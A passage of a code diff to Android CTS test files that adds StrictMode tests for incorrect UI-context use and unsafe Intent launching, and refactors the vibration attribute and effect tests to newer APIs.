-            final ImeEventStream stream = imeSession.openEventStream();
-            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
-            final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
-            final ImeEvent imeEvent;
-            switch (mode) {
-                case VERIFY_MODE_GET_DISPLAY:
-                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetDisplay(),
-                            TIMEOUT);
-                    break;
-                case VERIFY_MODE_GET_WINDOW_MANAGER:
-                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(),
-                            TIMEOUT);
-                    break;
-                case VERIFY_MODE_GET_VIEW_CONFIGURATION:
-                    imeEvent = expectCommand(forkedStream,
-                            imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
-                    break;
-                default:
-                    imeEvent = null;
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() -> new GestureDetector(activity, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
             }
-            assertTrue(imeEvent.getReturnBooleanValue());
-            notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
-                    NOT_EXPECT_TIMEOUT);
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertNoViolation(() -> activity.getSystemService(WallpaperManager.class)
+                    .getDesiredMinimumWidth());
         }
     }
 
-    private boolean supportsInstallableIme() {
-        return getContext().getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS);
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_UiDerivedContext_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Configuration config = new Configuration();
+        config.setToDefaults();
+        final Context uiDerivedConfigContext =
+                createWindowContext().createConfigurationContext(config);
+
+        assertNoViolation(() -> uiDerivedConfigContext.getSystemService(WINDOW_SERVICE));
+
+        assertNoViolation(() -> ViewConfiguration.get(uiDerivedConfigContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() ->
+                        new GestureDetector(uiDerivedConfigContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertNoViolation(() -> uiDerivedConfigContext.getSystemService(WallpaperManager.class)
+                    .getDesiredMinimumWidth());
+        }
+
+        final Context uiDerivedAttrContext = createWindowContext()
+                .createAttributionContext(null /* attributeTag */);
+
+        assertNoViolation(() -> uiDerivedAttrContext.getSystemService(WINDOW_SERVICE));
+
+        assertNoViolation(() -> ViewConfiguration.get(uiDerivedAttrContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() ->
+                        new GestureDetector(uiDerivedAttrContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertNoViolation(() -> uiDerivedAttrContext.getSystemService(WallpaperManager.class)
+                    .getDesiredMinimumWidth());
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_UiDerivedDisplayContext_ThrowViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Display display = getContext().getSystemService(DisplayManager.class)
+                .getDisplay(DEFAULT_DISPLAY);
+        final Context uiDerivedDisplayContext = createWindowContext().createDisplayContext(display);
+
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> uiDerivedDisplayContext.getSystemService(WindowManager.class));
+
+        assertViolation(
+                "The API:ViewConfiguration needs a proper configuration.",
+                () -> ViewConfiguration.get(uiDerivedDisplayContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("The API:GestureDetector#init needs a proper configuration.",
+                        () -> new GestureDetector(uiDerivedDisplayContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertViolation("Tried to access UI related API:", () ->
+                    uiDerivedDisplayContext.getSystemService(WallpaperManager.class)
+                            .getDesiredMinimumWidth());
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_ConfigContext() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Configuration configuration = new Configuration();
+        configuration.setToDefaults();
+        final Context configContext = getContext().createConfigurationContext(configuration);
+
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> configContext.getSystemService(WindowManager.class));
+
+        assertNoViolation(() -> ViewConfiguration.get(configContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() -> new GestureDetector(configContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertViolation("Tried to access UI related API:", () ->
+                    configContext.getSystemService(WallpaperManager.class)
+                            .getDesiredMinimumWidth());
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_ConfigDerivedDisplayContext() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Display display = getContext().getSystemService(DisplayManager.class)
+                .getDisplay(DEFAULT_DISPLAY);
+        final Configuration configuration = new Configuration();
+        configuration.setToDefaults();
+        final Context configDerivedDisplayContext = getContext()
+                .createConfigurationContext(configuration).createDisplayContext(display);
+
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> configDerivedDisplayContext.getSystemService(WindowManager.class));
+
+        assertViolation(
+                "The API:ViewConfiguration needs a proper configuration.",
+                () -> ViewConfiguration.get(configDerivedDisplayContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("The API:GestureDetector#init needs a proper configuration.",
+                        () -> new GestureDetector(configDerivedDisplayContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertViolation("Tried to access UI related API:", () ->
+                    configDerivedDisplayContext.getSystemService(WallpaperManager.class)
+                            .getDesiredMinimumWidth());
+        }
+    }
+
+    /**
+     * Returns {@code false} if the test is targeted at least {@link Build.VERSION_CODES#P} and
+     * running in instant mode.
+     */
+    private boolean isWallpaperManagerAccessible() {
+        final ApplicationInfo appInfo = getContext().getApplicationInfo();
+        return appInfo.targetSdkVersion < Build.VERSION_CODES.P || !appInfo.isInstantApp();
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToActivity_ThrowsViolation() throws Exception {
+        // The UnsafeIntentLaunch StrictMode check is intended to detect and report unparceling and
+        // launching of Intents from the delivered Intent. This test verifies a violation is
+        // reported when an inner Intent is unparceled from the Intent delivered to an Activity and
+        // used to start another Activity. This test also uses its own OnVmViolationListener to
+        // obtain the actual StrictMode Violation to verify the getIntent method of the
+        // UnsafeIntentLaunchViolation returns the Intent that triggered the Violation.
+        final LinkedBlockingQueue<Violation> violations = new LinkedBlockingQueue<>();
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyListener(Executors.newSingleThreadExecutor(),
+                                violation -> violations.add(violation))
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchActivity.getUnsafeIntentLaunchTestIntent(context);
+        Intent innerIntent = intent.getParcelableExtra(IntentLaunchActivity.EXTRA_INNER_INTENT);
+
+        context.startActivity(intent);
+        Violation violation = violations.poll(5, TimeUnit.SECONDS);
+        assertThat(violation).isInstanceOf(UnsafeIntentLaunchViolation.class);
+        // The inner Intent will only have the target component set; since the Intent references
+        // may not be the same compare the component of the Intent that triggered the violation
+        // against the inner Intent obtained above.
+        assertThat(((UnsafeIntentLaunchViolation) violation).getIntent().getComponent()).isEqualTo(
+                innerIntent.getComponent());
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToActivityCheckDisabled_NoViolation()
+            throws Exception {
+        // This test verifies the StrictMode violation is not reported when unsafe intent launching
+        // is permitted through the VmPolicy Builder permit API.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .permitUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchActivity.getUnsafeIntentLaunchTestIntent(context);
+
+        assertNoViolation(() -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToBoundService_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a bound Service and used to bind to another service.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchService.getTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH,
+                () -> context.bindService(intent, IntentLaunchService.getServiceConnection(),
+                        Context.BIND_AUTO_CREATE));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToStartedService_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a started Service and used to start another service.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchService.getTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.startService(intent));
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can only declare runtime receivers")
+    public void testUnsafeIntentLaunch_ParceledIntentToStaticReceiver_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a statically declared BroadcastReceiver and used to send another
+        // broadcast.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = new Intent(context, IntentLaunchReceiver.class);
+        Intent innerIntent = new Intent("android.os.cts.TEST_BROADCAST_ACTION");
+        intent.putExtra(IntentLaunchReceiver.INNER_INTENT_KEY, innerIntent);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.sendBroadcast(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToDynamicReceiver_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a dynamically registered BroadcastReceiver and used to send another
+        // broadcast.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        String receiverAction = "android.os.cts.TEST_INTENT_LAUNCH_RECEIVER_ACTION";
+        context.registerReceiver(new IntentLaunchReceiver(), new IntentFilter(receiverAction));
+        Intent intent = new Intent(receiverAction);
+        Intent innerIntent = new Intent("android.os.cts.TEST_BROADCAST_ACTION");
+        intent.putExtra(IntentLaunchReceiver.INNER_INTENT_KEY, innerIntent);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.sendBroadcast(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentDataCopy_ThrowsViolation() throws Exception {
+        // This test verifies a violation is reported when data is copied from a parceled Intent
+        // without sanitation or validation to a new Intent that is being created to launch a new
+        // component.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchActivity.getUnsafeDataCopyFromIntentTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_UnsafeDataCopy_ThrowsViolation() throws Exception {
+        // This test verifies a violation is reported when data is copied from unparceled extras
+        // without sanitation or validation to a new Intent that is being created to launch a new
+        // component.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchActivity.getUnsafeDataCopyFromExtrasTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_DataCopyFromIntentDeliveredToProtectedComponent_NoViolation()
+        throws Exception {
+        // This test verifies a violation is not reported when data is copied from the Intent
+        // delivered to a protected component.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent =
+                IntentLaunchActivity.getDataCopyFromDeliveredIntentWithUnparceledExtrasTestIntent(
+                        context);
+
+        assertNoViolation(() -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_UnsafeIntentFromUriLaunch_ThrowsViolation()
+            throws Exception {
+        // Intents can also be delivered as URI strings and parsed with Intent#parseUri. This test
+        // verifies if an Intent is parsed from a URI string and launched without any additional
+        // sanitation / validation then a violation is reported.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent =
+                IntentLaunchActivity.getUnsafeIntentFromUriLaunchTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_SafeIntentFromUriLaunch_NoViolation() throws Exception {
+        // The documentation for Intent#URI_ALLOW_UNSAFE recommend using the CATEGORY_BROWSABLE
+        // when launching an Intent parsed from a URI; while an explicit Intent will still be
+        // delivered to the target component with this category set an implicit Intent will be
+        // limited to components with Intent-filters that handle this category. This test verifies
+        // an implicit Intent parsed from a URI with the browsable category set does not result in
+        // an UnsafeIntentLaunch StrictMode violation.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent =
+                IntentLaunchActivity.getSafeIntentFromUriLaunchTestIntent(context);
+
+        assertNoViolation(() -> context.startActivity(intent));
+    }
+
+    private Context createWindowContext() {
+        final Display display = getContext().getSystemService(DisplayManager.class)
+                .getDisplay(DEFAULT_DISPLAY);
+        return getContext().createDisplayContext(display)
+                .createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
     }
 
     private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
diff --git a/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java b/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java
index f6fb8f3..966780b 100644
--- a/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationAttributesTest.java
@@ -32,9 +32,7 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class VibrationAttributesTest {
-    private static final int TEST_USAGE_UNKNOWN = AudioAttributes.USAGE_UNKNOWN;
     private static final int TEST_USAGE = AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY;
-    private static final int TEST_USAGE2 = AudioAttributes.USAGE_NOTIFICATION;
 
     private static final int TEST_AMPLITUDE = 100;
     private static final long TEST_TIMING_LONG = 5000;
@@ -56,34 +54,68 @@
 
     @Test
     public void testCreate() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+        AudioAttributes tmp = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_ALARM)
+                .build();
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
-        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_COMMUNICATION_REQUEST);
+        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_ALARM);
         assertEquals(attr.getUsageClass(), VibrationAttributes.USAGE_CLASS_ALARM);
         assertEquals(attr.getFlags(), 0);
-        assertEquals(attr.getAudioAttributes(), tmp);
+        assertEquals(attr.getAudioUsage(), AudioAttributes.USAGE_ALARM);
+    }
+
+    @Test
+    public void testGetAudioUsageReturnOriginalUsage() {
+        AudioAttributes tmp = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY)
+                .build();
+        VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
+        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_COMMUNICATION_REQUEST);
+        assertEquals(attr.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY);
+    }
+
+    @Test
+    public void testGetAudioUsageUnknownReturnsBasedOnVibrationUsage() {
+        VibrationAttributes attr = new VibrationAttributes.Builder()
+                .setUsage(VibrationAttributes.USAGE_NOTIFICATION).build();
+        assertEquals(attr.getUsage(), VibrationAttributes.USAGE_NOTIFICATION);
+        assertEquals(attr.getAudioUsage(), AudioAttributes.USAGE_NOTIFICATION);
     }
 
     @Test
     public void testEquals() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+        AudioAttributes tmp = createAudioAttributes(TEST_USAGE);
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
         VibrationAttributes attr2 = new VibrationAttributes.Builder(tmp, null).build();
         assertEquals(attr, attr2);
     }
 
     @Test
-    public void testNotEqualsDifferentUsage() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+    public void testNotEqualsDifferentAudioUsage() {
+        AudioAttributes tmp = createAudioAttributes(
+                AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_INSTANT);
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
-        AudioAttributes tmp2 = new AudioAttributes.Builder().setUsage(TEST_USAGE2).build();
+        AudioAttributes tmp2 = createAudioAttributes(
+                AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED);
         VibrationAttributes attr2 = new VibrationAttributes.Builder(tmp2, null).build();
+        assertEquals(attr.getUsage(), attr2.getUsage());
+        assertNotEquals(attr, attr2);
+    }
+
+    @Test
+    public void testNotEqualsDifferentVibrationUsage() {
+        VibrationAttributes attr = new VibrationAttributes.Builder()
+                .setUsage(VibrationAttributes.USAGE_TOUCH)
+                .build();
+        VibrationAttributes attr2 = new VibrationAttributes.Builder()
+                .setUsage(VibrationAttributes.USAGE_NOTIFICATION)
+                .build();
         assertNotEquals(attr, attr2);
     }
 
     @Test
     public void testNotEqualsDifferentFlags() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE).build();
+        AudioAttributes tmp = createAudioAttributes(TEST_USAGE);
         VibrationAttributes attr = new VibrationAttributes.Builder(tmp, null).build();
         VibrationAttributes attr2 = new VibrationAttributes.Builder(tmp, null).setFlags(1, 1)
                 .build();
@@ -92,7 +124,7 @@
 
     @Test
     public void testHeuristics() {
-        AudioAttributes tmp = new AudioAttributes.Builder().setUsage(TEST_USAGE_UNKNOWN).build();
+        AudioAttributes tmp = createAudioAttributes(AudioAttributes.USAGE_UNKNOWN);
         VibrationAttributes oneShotLong =
             new VibrationAttributes.Builder(tmp, TEST_ONE_SHOT_LONG).build();
         VibrationAttributes oneShotShort =
@@ -104,10 +136,19 @@
         VibrationAttributes prebaked =
             new VibrationAttributes.Builder(tmp, TEST_PREBAKED).build();
         assertEquals(oneShotShort.getUsage(), VibrationAttributes.USAGE_TOUCH);
+        assertEquals(oneShotShort.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_SONIFICATION);
         assertEquals(waveformShort.getUsage(), VibrationAttributes.USAGE_TOUCH);
+        assertEquals(waveformShort.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_SONIFICATION);
         assertEquals(oneShotLong.getUsage(), VibrationAttributes.USAGE_UNKNOWN);
+        assertEquals(oneShotLong.getAudioUsage(), AudioAttributes.USAGE_UNKNOWN);
         assertEquals(waveformLong.getUsage(), VibrationAttributes.USAGE_UNKNOWN);
+        assertEquals(waveformLong.getAudioUsage(), AudioAttributes.USAGE_UNKNOWN);
         assertEquals(prebaked.getUsage(), VibrationAttributes.USAGE_TOUCH);
+        assertEquals(prebaked.getAudioUsage(), AudioAttributes.USAGE_ASSISTANCE_SONIFICATION);
+    }
+
+    private static AudioAttributes createAudioAttributes(int usage) {
+        return new AudioAttributes.Builder().setUsage(usage).build();
     }
 }
 
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 66a11d4..0b0f5e4 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -18,12 +18,19 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.os.Parcel;
 import android.os.VibrationEffect;
+import android.os.vibrator.PrebakedSegment;
+import android.os.vibrator.PrimitiveSegment;
+import android.os.vibrator.RampSegment;
+import android.os.vibrator.StepSegment;
+import android.os.vibrator.VibrationEffectSegment;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -38,10 +45,14 @@
 public class VibrationEffectTest {
     private static final long TEST_TIMING = 100;
     private static final int TEST_AMPLITUDE = 100;
+    private static final float TEST_FLOAT_AMPLITUDE = TEST_AMPLITUDE / 255f;
+    private static final float TEST_TOLERANCE = 1e-5f;
 
-    private static final long[] TEST_TIMINGS = new long[] { 100, 100, 200 };
+    private static final long[] TEST_TIMINGS = new long[]{100, 100, 200};
     private static final int[] TEST_AMPLITUDES =
-            new int[] { 255, 0, VibrationEffect.DEFAULT_AMPLITUDE };
+            new int[]{255, 0, VibrationEffect.DEFAULT_AMPLITUDE};
+    private static final float[] TEST_FLOAT_AMPLITUDES =
+            new float[]{1f, 0f, VibrationEffect.DEFAULT_AMPLITUDE};
 
     private static final VibrationEffect TEST_ONE_SHOT =
             VibrationEffect.createOneShot(TEST_TIMING, TEST_AMPLITUDE);
@@ -49,11 +60,23 @@
             VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, -1);
     private static final VibrationEffect TEST_WAVEFORM_NO_AMPLITUDES =
             VibrationEffect.createWaveform(TEST_TIMINGS, -1);
+    private static final VibrationEffect TEST_WAVEFORM_BUILT =
+            VibrationEffect.startWaveform()
+                    .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                    .addStep(/* amplitude= */ 0.8f, /* frequency= */ -1f, /* duration= */ 20)
+                    .addRamp(/* amplitude= */ 1f, /* duration= */ 100)
+                    .addRamp(/* amplitude= */ 0.2f, /* frequency= */ 1f, /* duration= */ 200)
+                    .build();
     private static final VibrationEffect TEST_PREBAKED =
             VibrationEffect.get(VibrationEffect.EFFECT_CLICK, true);
     private static final VibrationEffect TEST_COMPOSED =
             VibrationEffect.startComposition()
                     .addPrimitive(VibrationEffect.Composition.PRIMITIVE_CLICK)
+                    .addPrimitive(VibrationEffect.Composition.PRIMITIVE_SLOW_RISE, 0.8f)
+                    .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK, 0.5f, /* delay= */ 10)
+                    .addEffect(TEST_ONE_SHOT)
+                    .addEffect(TEST_WAVEFORM, /* delay= */ 10)
+                    .addEffect(TEST_WAVEFORM_BUILT, /* delay= */ 100)
                     .compose();
 
 
@@ -61,40 +84,32 @@
     public void testCreateOneShot() {
         VibrationEffect e = VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
         assertEquals(100, e.getDuration());
-        assertEquals(VibrationEffect.DEFAULT_AMPLITUDE,
-                ((VibrationEffect.OneShot)e).getAmplitude());
+        assertAmplitude(VibrationEffect.DEFAULT_AMPLITUDE, e, 0);
+
         e = VibrationEffect.createOneShot(1, 1);
         assertEquals(1, e.getDuration());
-        assertEquals(1, ((VibrationEffect.OneShot)e).getAmplitude());
+        assertAmplitude(1 / 255f, e, 0);
+
         e = VibrationEffect.createOneShot(1000, 255);
         assertEquals(1000, e.getDuration());
-        assertEquals(255, ((VibrationEffect.OneShot)e).getAmplitude());
+        assertAmplitude(1f, e, 0);
     }
 
-    @Test
+    @Test(expected = IllegalArgumentException.class)
     public void testCreateOneShotFailsBadTiming() {
-        try {
-            VibrationEffect.createOneShot(0, TEST_AMPLITUDE);
-            fail("Invalid timing, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        VibrationEffect.createOneShot(0, TEST_AMPLITUDE);
     }
 
     @Test
     public void testCreateOneShotFailsBadAmplitude() {
-        try {
-            VibrationEffect.createOneShot(TEST_TIMING, -2);
-            fail("Invalid amplitude, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createOneShot(TEST_TIMING, -2));
 
-        try {
-            VibrationEffect.createOneShot(TEST_TIMING, 0);
-            fail("Invalid amplitude, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createOneShot(TEST_TIMING, 0));
 
-        try {
-            VibrationEffect.createOneShot(TEST_TIMING, 256);
-            fail("Invalid amplitude, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createOneShot(TEST_TIMING, 256));
     }
 
     @Test
@@ -137,11 +152,10 @@
         boolean[] fallbacks = { false, true };
         for (int id : ids) {
             for (boolean fallback : fallbacks) {
-                VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)
-                        VibrationEffect.get(id, fallback);
-                assertEquals(id, effect.getId());
-                assertEquals(fallback, effect.shouldFallback());
+                VibrationEffect effect = VibrationEffect.get(id, fallback);
                 assertEquals(-1, effect.getDuration());
+                assertPrebakedEffectId(id, effect, 0);
+                assertShouldFallback(fallback, effect, 0);
             }
         }
     }
@@ -165,110 +179,92 @@
 
     @Test
     public void testCreateWaveform() {
-        VibrationEffect.Waveform effect = (VibrationEffect.Waveform)
-                VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, -1);
-        assertArrayEquals(TEST_TIMINGS, effect.getTimings());
-        assertArrayEquals(TEST_AMPLITUDES, effect.getAmplitudes());
-        assertEquals(-1, effect.getRepeatIndex());
+        VibrationEffect effect = VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, -1);
+        assertArrayEquals(TEST_TIMINGS, getTimings(effect));
+        assertEquals(-1, getRepeatIndex(effect));
         assertEquals(400, effect.getDuration());
-        effect = (VibrationEffect.Waveform)
-            VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, 0);
-        assertArrayEquals(TEST_TIMINGS, effect.getTimings());
-        assertArrayEquals(TEST_AMPLITUDES, effect.getAmplitudes());
-        assertEquals(0, effect.getRepeatIndex());
-        assertEquals(Long.MAX_VALUE, effect.getDuration());
-        effect = (VibrationEffect.Waveform)VibrationEffect.createWaveform(TEST_TIMINGS,
-                TEST_AMPLITUDES, TEST_AMPLITUDES.length - 1);
-        assertArrayEquals(TEST_TIMINGS, effect.getTimings());
-        assertArrayEquals(TEST_AMPLITUDES, effect.getAmplitudes());
-        assertEquals(TEST_AMPLITUDES.length - 1, effect.getRepeatIndex());
-        assertEquals(Long.MAX_VALUE, effect.getDuration());
+        for (int i = 0; i < TEST_TIMINGS.length; i++) {
+            assertAmplitude(TEST_FLOAT_AMPLITUDES[i], effect, i);
+        }
+
+        effect = VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, 0);
+        assertEquals(0, getRepeatIndex(effect));
+
+        effect = VibrationEffect.createWaveform(
+                TEST_TIMINGS, TEST_AMPLITUDES, TEST_AMPLITUDES.length - 1);
+        assertEquals(TEST_AMPLITUDES.length - 1, getRepeatIndex(effect));
     }
 
     @Test
     public void testCreateWaveformFailsDifferentArraySize() {
-        try {
-            VibrationEffect.createWaveform(
-                    Arrays.copyOfRange(TEST_TIMINGS, 0, TEST_TIMINGS.length - 1),
-                    TEST_AMPLITUDES, -1);
-            fail("Timing and amplitudes arrays are different sizes, " +
-                    "should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(
+                        Arrays.copyOfRange(TEST_TIMINGS, 0, TEST_TIMINGS.length - 1),
+                        TEST_AMPLITUDES, -1));
 
-        try {
-            VibrationEffect.createWaveform(
-                    TEST_TIMINGS,
-                    Arrays.copyOfRange(TEST_AMPLITUDES, 0, TEST_AMPLITUDES.length - 1), -1);
-            fail("Timing and amplitudes arrays are different sizes, " +
-                    "should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS,
+                        Arrays.copyOfRange(TEST_AMPLITUDES, 0, TEST_AMPLITUDES.length - 1), -1));
     }
 
     @Test
